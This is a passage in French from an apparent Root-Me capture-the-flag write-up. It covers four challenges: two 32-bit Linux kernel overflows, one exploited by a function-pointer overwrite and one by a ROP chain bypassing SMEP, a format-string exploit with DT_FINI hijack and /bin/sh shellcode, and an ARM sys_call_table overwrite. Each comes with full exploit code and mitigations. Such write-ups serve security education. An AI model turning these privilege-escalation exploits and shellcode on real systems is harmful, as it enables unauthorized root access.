Ce défi démontre qu'une simple erreur de logique (ne pas vérifier si un pointeur est nul avant de l'appeler) peut compromettre l'intégralité d'un système d'exploitation si elle se trouve dans le code du noyau.

Mitigations modernes :

- **Logicielle** : Ajouter une condition stricte `if (tostring->tostring_read != NULL)` avant l'appel de fonction.
- **mmap_min_addr** : Paramètre système (sysctl) empêchant les processus non privilégiés d'allouer les premières pages de la mémoire (généralement en dessous de 64 Ko).
- **SMEP (Supervisor Mode Execution Protection)** : Protection matérielle empêchant le processeur, lorsqu'il est en mode noyau, d'exécuter des instructions situées dans l'espace

utilisateur.

10 Challenge : LinKern x86 - Buffer overflow basic 1

10.1 Présentation du challenge

Ce défi est une introduction classique à l'exploitation de type **Buffer Overflow** au sein du noyau Linux (Ring 0). L'objectif est de corrompre la mémoire d'un module noyau vulnérable pour exécuter un shellcode d'escalade de privilèges.

Caractéristique	Détail
Architecture	x86 (32-bit)
Vulnérabilité	Buffer Overflow (CWE-120)
Protections inactives	SMEP, SMAP, KASLR
Protections actives	KALLSYMS restriction, mmap_min_addr

TABLE 3 – Spécifications techniques du challenge Buffer overflow basic 1.

10.2 Analyse de la vulnérabilité

Le module `tostring` stocke les données dans une structure contenant un tableau de taille fixe et un pointeur de fonction placé juste après en mémoire :

Listing 8 – Structure vulnérable dans `tostring.c`

```
1 struct tostring_s {  
2     int pointer;  
3     unsigned long long int tostring_stack[64];  
4     ssize_t (*tostring_read)(struct file *f, char __user *buf, size_t len,  
5         loff_t *off);  
6 };
```

Dans la fonction d'écriture (`tostring_write`), l'index `pointer` est incrémenté à chaque insertion sans aucune vérification de borne (*bound checking*) :

```
1 tostring.tostring_stack[tostring.pointer++] = *((long long int *) bufk);
```

En effectuant plus de 64 écritures, le tableau `tostring_stack` déborde, permettant d'écraser la variable adjacente : le pointeur de fonction `tostring_read`.

10.3 Processus d'exploitation

10.3.1 Étape 1 : Contournement de `kptr_restrict`

Comme pour le défi précédent, la désactivation temporaire de la restriction `KALLSYMS` via un environnement QEMU local (`kptr_restrict=0`) a permis de récupérer les adresses statiques des fonctions d'escalade de privilèges :

- `commit_creds` : `0xc1070e80`
- `prepare_kernel_cred` : `0xc10711f0`

10.3.2 Étape 2 : Écriture de l'exploit

Puisque la protection `SMEP` est désactivée, le noyau est autorisé à exécuter du code situé dans l'espace utilisateur. Nous pouvons donc écrire notre fonction cible en C classique. L'exploit consiste à remplir le tableau avec 64 éléments factices, puis à insérer l'adresse de notre fonction lors de la 65ème écriture.

Listing 9 – Exploit.c : Débordement et exécution

```

1  #include <stdio.h>
2  #include <string.h>
3  #include <fcntl.h>
4  #include <unistd.h>
5  #include <stdint.h>
6
7  typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long)
8  ;
9  typedef unsigned long __attribute__((regparm(3))) (*
10 _prepare_kernel_cred)(unsigned long);
11
12 void get_root(void) {
13     _commit_creds commit_creds = (_commit_creds)0xc1070e80;
14     _prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)0
15         xc10711f0;
16     commit_creds(prepare_kernel_cred(0));
17 }
18
19 int main(void) {
20     int fd = open("/dev/tostring", O_WRONLY);
21     long long dummy = 0x4141414141414141;
22     long long payload = (long long)(uintptr_t)&get_root;
23
24     // Remplissage du tableau (64 elements)
25     for (int i = 0; i < 64; i++) {
26         write(fd, &dummy, sizeof(dummy));
27     }
28
29     // 65eme element : OVERFLOW sur tostring_read
30     write(fd, &payload, sizeof(payload));
31     close(fd);
32
33     // Declenchement de l'execution
34     fd = open("/dev/tostring", O_RDONLY);
35     char dump[16];
36     read(fd, dump, sizeof(dump));
37     close(fd);
38
39     if (getuid() == 0) {
40         execl("/bin/sh", "sh", NULL);
41     }
42     return 0;
43 }

```

10.4 Récupération du flag

Après compilation statique en 32-bit, l'exécutable a été transféré dans la machine virtuelle. Le système de fichiers étant monté en lecture seule pour la majorité des dossiers et /tmp posant des problèmes de création de répertoires virtuels avec le shell minimaliste, l'exploit a été copié directement dans le répertoire courant de l'utilisateur (.). L'exécution a octroyé les droits root, permettant la lecture du flag sans difficulté.

10.5 Concepts de sécurité et Mitigations

Ce challenge démontre l'impact critique de l'absence de vérification des limites (CWE-120) dans le code noyau. **Mitigations :**

- **Vérification des bornes :** Ajouter une condition `if (tostring.pointer < 64)` avant toute insertion dans la fonction `write`.
- **SMEP (Supervisor Mode Execution Protection) :** L'activation de cette protection matérielle aurait bloqué cette attaque en interdisant au processeur d'exécuter la fonction `get_root` située dans la mémoire du processus utilisateur lorsqu'il est en mode noyau.

11 Challenge : App-Système - Format String & Bypass Avancé (ch23)

11.1 Présentation du challenge

Ce défi met en évidence une vulnérabilité de type **Format String** sur un binaire ELF 32-bit. Bien que la faille initiale soit classique (un `printf` mal sécurisé), l'environnement d'exécution impose des contraintes extrêmes rendant les techniques d'exploitation standards inopérantes.

Caractéristique	Détail
Architecture	x86 (32-bit)
Vulnérabilité	Format String (CWE-134)
Protections actives	Canari, ASLR, <code>ulimit -f</code> (Anti-Spam)
Protections inactives	No RELRO, Executable Stack

TABLE 4 – Spécifications techniques du challenge ch23.

11.2 Analyse de la vulnérabilité et Obstacles

L'analyse approfondie via `ltrace` et `strace` a révélé le comportement interne du binaire et du serveur :

1. **Destruction de l'environnement :** Le programme utilise une boucle avec `memset` pour écraser l'intégralité des variables d'environnement avec des octets nuls, empêchant d'y stocker confortablement un *payload* ou des adresses cibles.
2. **Sécurité anti-DDoS (`ulimit -f`) :** La faille `printf` permet d'écrire en mémoire via l'opérateur `%n`, mais générer de grandes adresses (ex : `0x08049880`) nécessite d'imprimer plus de 134 Mo d'espaces virtuels. Le serveur tue le processus instantanément (*Broken Pipe*) s'il détecte un tel volume de sortie.
3. **Cible de détournement fantôme :** La section `.dtors` classique est ignorée par la boucle de destruction du programme. L'absence de la protection RELRO permet cependant de cibler le pointeur `DT_FINI` dans la section `.dynamic` (situé à l'adresse `0x08049754`).

11.3 Processus d'exploitation

Pour contourner l'ASLR sans fuite de mémoire (*leak*) et sans s'appuyer sur l'environnement, l'attaque repose sur une **chaîne de pointeurs** (*Pointer Chain*) déjà présente nativement sur la pile.

11.3.1 Étape 1 : La chaîne de pointeurs

L'analyse de la pile montre que l'argument situé à l'offset 4 pointe vers l'argument situé à l'offset 24. L'exploitation s'effectue en deux temps, en une seule chaîne de format :

- Utilisation de l'offset 4 pour écrire l'adresse cible (0x08049754, soit DT_FINI) à l'offset 24.
- Utilisation de l'offset 24 pour écrire l'adresse de notre shellcode (copié par le programme dans le buffer global .bss à l'adresse 0x08049880 + 90) à l'intérieur de DT_FINI.

11.3.2 Étape 2 : Bypass de l'Anti-Spam

Pour éviter la mort du processus par la restriction `ulimit`, l'exécution locale via le script redirige la sortie standard (`stdout`) vers le trou noir du système (`/dev/null`). Les 134 millions d'espaces générés par `printf` sont absorbés silencieusement par le noyau Linux sans alerter le serveur.

11.3.3 Étape 3 : Le Shellcode et l'extraction

La *payload* final embarque un shellcode exécutant `/bin/sh` avec conservation des privilèges (`SetReUID`). Puisque la sortie standard est neutralisée dans le trou noir, nous pilotons le shell de l'extérieur en lui envoyant la commande `cat .passwd >&2`, forçant ainsi la lecture du flag au travers de la sortie d'erreur (`stderr`).

11.4 Récupération du flag

Le script final déploie l'attaque mathématique et récupère le secret de manière fiable :

Listing 10 – Exploit ch23 - Bypass ulimit et Hijack DT_FINI

```

1 import subprocess
2
3 # 1. Coordonnees memoire
4 PTR_OFFSET = 4
5 X = 24
6 dt_fini_addr = 0x08049754
7 sc_addr = 0x08049880 + 90
8
9 # 2. Forgeage de la frappe (Pointeur 4 -> Pointeur 24 -> DT_FINI)
10 part1 = b"%c" * (PTR_OFFSET - 2)
11 part1 += f"%{dt_fini_addr - (PTR_OFFSET - 2)}c%n".encode()
12
13 part2 = b"%c" * (X - PTR_OFFSET - 2)
14 part2 += f"%{sc_addr - (dt_fini_addr + len(part2))}c%n".encode()
15
16 payload = (part1 + part2).ljust(90, b'\x90')
17
18 # 3. Shellcode /bin/sh (SetReUID pour maintenir les droits)
19 sc = (
20     b"\x31\x00\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\x00\xb0\x46\xcd\x80"
21     b"\x31\x00\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50"
22     b"\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
23 )
24
25 # 4. Lancement dans /dev/null et lecture sur stderr
26 r = subprocess.run(
27     ['./ch23', payload + sc],
28     input=b"cat .passwd >&2\n",
29     stdout=subprocess.DEVNULL,
30     stderr=subprocess.PIPE
31 )
32 print(r.stderr.decode().strip())

```

Le flag obtenu validant le défi est :
`while(true){'win'};;`

11.5 Conclusion et Mitigations

Ce challenge est une véritable masterclass démontrant que même avec un environnement hostile (ASLR, restrictions `ulimit`, nettoyage total de la mémoire), l'ingéniosité combinée aux mécanismes internes (*Pointer Chains*) et aux flux systèmes (`stderr`, `/dev/null`) permet d'arriver à une exécution de code infaillible. L'activation de l'option de compilation **Full RELRO** (`-z,relro,-z,now`) aurait rendu la section `.dynamic` en lecture seule, neutralisant définitivement cette chaîne d'exploitation.

12 Challenge : LinKern x86 - basic ROP

12.1 Présentation du challenge

Ce défi franchit une étape supplémentaire dans l'exploitation de noyau Linux (Ring 0). L'objectif reste l'obtention d'un shell `root` en exploitant un dépassement de tampon dans un module vulnérable (`/dev/bof`). La grande différence réside dans l'activation de la protection matérielle **SMEP** (*Supervisor Mode Execution Protection*), qui interdit au noyau d'exécuter du code situé dans l'espace utilisateur (Ring 3).

Caractéristique	Détail
Architecture	x86 (32-bit) émulé sur KVM 64-bit
Vulnérabilité	Stack Buffer Overflow (CWE-121)
Protections actives	SMEP , KALLSYMS restriction
Protections inactives	SMAP, KASLR

TABLE 5 – Spécifications techniques du challenge LinKern x86 - basic ROP.

12.2 Analyse de la vulnérabilité et de la protection SMEP

Le module `/dev/bof` souffre d'un dépassement de tampon classique. En lui envoyant une quantité de données supérieure à la taille allouée sur la pile, il est possible d'écraser l'adresse de retour (EIP). Cependant, à cause de la protection SMEP, il est impossible d'écraser EIP avec l'adresse d'une fonction d'escalade de privilèges écrite dans notre code en espace utilisateur (sous peine de provoquer un *Kernel Panic*). L'exploitation requiert donc l'utilisation de la technique **ROP** (*Return-Oriented Programming*), consistant à chaîner des instructions (gadgets) déjà présentes et légitimes au sein du noyau.

12.3 Processus d'exploitation

12.3.1 Étape 1 : Localisation des fonctions et des gadgets

L'absence de KASLR rend les adresses du noyau statiques. Nous avons extrait les fonctions d'escalade via l'environnement QEMU local (`kptr_restrict=0`) et utilisé `objdump` sur le binaire `vmlinux` décompressé pour trouver nos gadgets :

- `pop eax ; ret : 0xc10174fc`
- `iret : 0xc101751b`
- `prepare_kernel_cred : 0xc10711f0`
- `commit_creds : 0xc1070e80`

12.3.2 Étape 2 : Sauvegarde du contexte (Trap Frame)

Pour que l'exploit soit propre, une fois les droits **root** obtenus dans le noyau, il faut redescendre dans l'espace utilisateur (Ring 3) pour lancer un shell. L'instruction **iret** s'en charge, mais nécessite l'état exact des registres utilisateurs au moment de l'attaque. Nous avons écrit une fonction en assembleur pour sauvegarder ces registres (**CS**, **SS**, **ESP**, **EFLAGS**).

12.3.3 Étape 3 : Construction de la chaîne ROP

Le noyau 32-bit passant ses arguments via les registres, la chaîne ROP a été construite ainsi :

1. 40 octets de bourrage (**padding**) pour atteindre EIP.
2. Gadget **pop eax ; ret** pour placer la valeur suivante dans **EAX**.
3. La valeur **0x0** (argument pour la fonction suivante).
4. L'adresse de **prepare_kernel_cred** (qui retourne une structure dans **EAX**).
5. L'adresse de **commit_creds** (qui consomme la structure présente dans **EAX**).
6. Gadget **iret** pour amorcer le retour.
7. L'adresse de notre fonction locale **get_shell** et la restauration des registres sauvegardés.

12.4 Récupération du flag

Le script a été compilé statiquement et transféré dans la machine virtuelle. L'exécution confirme que la taille totale du payload était de 80 octets (40 de padding + 40 de chaîne ROP). L'exploit a fonctionné du premier coup, contournant parfaitement la protection SMEP :

Listing 11 – Exécution de l'exploit et obtention du shell root

```
1 Root-Me user@linkern-chall:~$ ./exploit
2 [*] Etat Ring 3 sauvegarde !
3 [*] Envoi du payload ROP (80 octets)...
4 [+] Retour en Ring 3 réussi !
5 [+] BINGO ! Lancement du shell root...
6 Root-Me root@linkern-chall:/home/user$ whoami
7 root
```

12.5 Concepts de sécurité et Mitigations

Ce défi illustre brillamment comment une protection matérielle forte (SMEP) peut être contournée en réutilisant le code natif du noyau (ROP).

Mitigations modernes :

- **KASLR (*Kernel Address Space Layout Randomization*)** : Rend les adresses des gadgets et des fonctions différentes à chaque démarrage, empêchant l'utilisation d'adresses codées en dur.
- **Stack Canaries** : Détecte la corruption de la pile avant le dépilage de EIP.
- **CFI (*Control Flow Integrity*)** : Assure que le flux d'exécution ne dévie pas de ce qui a été prévu par le compilateur, neutralisant ainsi les sauts arbitraires du ROP.

13 Challenge : LinKern ARM - syscall vulnérable

13.1 Présentation du challenge

Ce défi constitue une introduction à l'exploitation de noyau Linux sur architecture ARM (32-bit). L'objectif est d'obtenir un shell **root** dans un environnement extrêmement contraint : aucun outil de développement n'est présent sur la machine cible, le réseau est inopérant, et le partage de fichiers avec l'hôte est désactivé.

Caractéristique	Détail
Architecture	ARM (32-bit, émulation QEMU vexpress-a9)
Vulnérabilité	Écriture Arbitraire (<i>Arbitrary Write / Write-What-Where</i>)
Protections actives	PXN (<i>Privileged eXecute-Never</i>), KALLSYMS restriction
Contraintes	Aucun compilateur, transfert par port série (UART) uniquement

TABLE 6 – Spécifications techniques du challenge LinKern ARM.

13.2 Analyse de l’environnement et de la vulnérabilité

L’exploration du système révèle la présence d’un programme binaire `calc` et de son code source `calc.c`. Ce dernier sert d’interface utilisateur pour communiquer avec un appel système (`syscall`) personnalisé ajouté par l’auteur au noyau : `sys_calc` (Syscall n°223).

Ce syscall prend quatre arguments :

```
1 syscall(223, a, operator, b, &result);
```

L’analyse de la fonction `sys_calc` montre qu’elle effectue l’opération demandée (ex : `a + b`) et stocke le résultat à l’adresse mémoire passée en quatrième argument. La vulnérabilité critique réside dans l’absence totale de vérification des permissions sur ce pointeur de destination. Le noyau écrit aveuglément la donnée contrôlée par l’utilisateur à l’adresse demandée par l’utilisateur, créant une faille d’**Écriture Arbitraire** (*Write-What-Where*) en Ring 0.

13.3 Processus d’exploitation : Le contournement du PXN

Sur une architecture x86 classique sans SMEP, il suffirait d’écrire l’adresse d’un shellcode utilisateur pour rediriger le flux d’exécution. Cependant, l’architecture ARM déploie ici la protection **PXN** (*Privileged eXecute-Never*), interdisant formellement au noyau d’exécuter du code situé dans l’espace utilisateur.

Pour contourner le PXN, la stratégie consiste à **pirater la table des appels systèmes** (`sys_call_table`). En modifiant les pointeurs de cette table en mémoire, nous pouvons forcer des syscalls inutilisés à pointer vers des fonctions natives de l’escalade de privilèges.

13.3.1 Étape 1 : Récupération des adresses critiques

La protection KALLSYMS étant active (`kptr_restrict=1`), nous récupérons les adresses statiques du noyau (compilé sans KASLR) via `/proc/kallsyms` en tant qu’utilisateur standard :

- `sys_call_table` : 0x8000e4e4
- `prepare_kernel_cred` : 0x80042464
- `commit_creds` : 0x80042148

Nous ciblons les entrées des syscalls inutilisés n°224 (0x8000e864) et n°225 (0x8000e868).

13.3.2 Étape 2 : Le micro-exploit en pur Assembleur

L’absence d’outils sur la VM cible nous oblige à compiler l’exploit sur la machine hôte. Pour que le binaire puisse être transféré sans corrompre le tampon du port série de QEMU, il doit être minuscule. Il est donc rédigé en pur assembleur ARM, sans inclusion de la librairie standard (`libc`).

Listing 12 – exploit.S : Détournement de la `sys_call_table`

```
1 .global _start
2 _start:
3     /* 1. Ecriture Arbitraire : sys_call_table[224] =
        prepare_kernel_cred */
```

```

4      ldr r0, =0x80042464
5      mov r1, #43          /* Operateur '+' */
6      mov r2, #0
7      ldr r3, =0x8000e864  /* sys_call_table + (224 * 4) */
8      mov r7, #223        /* Syscall sys_calc */
9      swi #0
10
11     /* 2. Ecriture Arbitraire : sys_call_table[225] = commit_creds */
12     ldr r0, =0x80042148
13     mov r1, #43
14     mov r2, #0
15     ldr r3, =0x8000e868
16     mov r7, #223
17     swi #0
18
19     /* 3. Escalade de privileges via les nouveaux syscalls */
20     mov r0, #0
21     mov r7, #224          /* prepare_kernel_cred(0) */
22     swi #0
23     mov r7, #225          /* commit_creds(r0) */
24     swi #0
25
26     /* 4. Execution de /bin/sh via le Syscall execve (11) */
27     adr r0, binsh
28     mov r2, #0
29     push {r0, r2}
30     mov r1, sp
31     mov r7, #11
32     swi #0
33
34 binsh:
35     .asciz "/bin/sh"

```

13.3.3 Étape 3 : Injection Base64 via UART

L'exploit est compilé statiquement (`-nostdlib -static`), nettoyé (`strip`), puis encodé en Base64. Le résultat, d'à peine quelques centaines de caractères, est copié-collé directement dans le terminal de la machine cible via l'entrée standard (`cat > exploit.b64`), puis décodé et exécuté localement.

13.4 Récupération du flag et Mitigations

L'exécution de l'exploit a octroyé instantanément un shell root, permettant la lecture du flag à la racine du système (`/passwd`).

Mitigations : Ce scénario démontre le danger mortel des accès en écriture non contrôlés dans le Ring 0.

- Au niveau logiciel, le pointeur de destination aurait dû être vérifié avec la macro `access_ok()` ou manipulé via `put_user()`.
- Au niveau de l'architecture, l'activation de l'option de compilation noyau `CONFIG_DEBUG_RODATA` (ou *Strict kernel memory permissions*) aurait rendu la section contenant la `sys_call_table` en **lecture seule**, bloquant net cette attaque d'écrasement.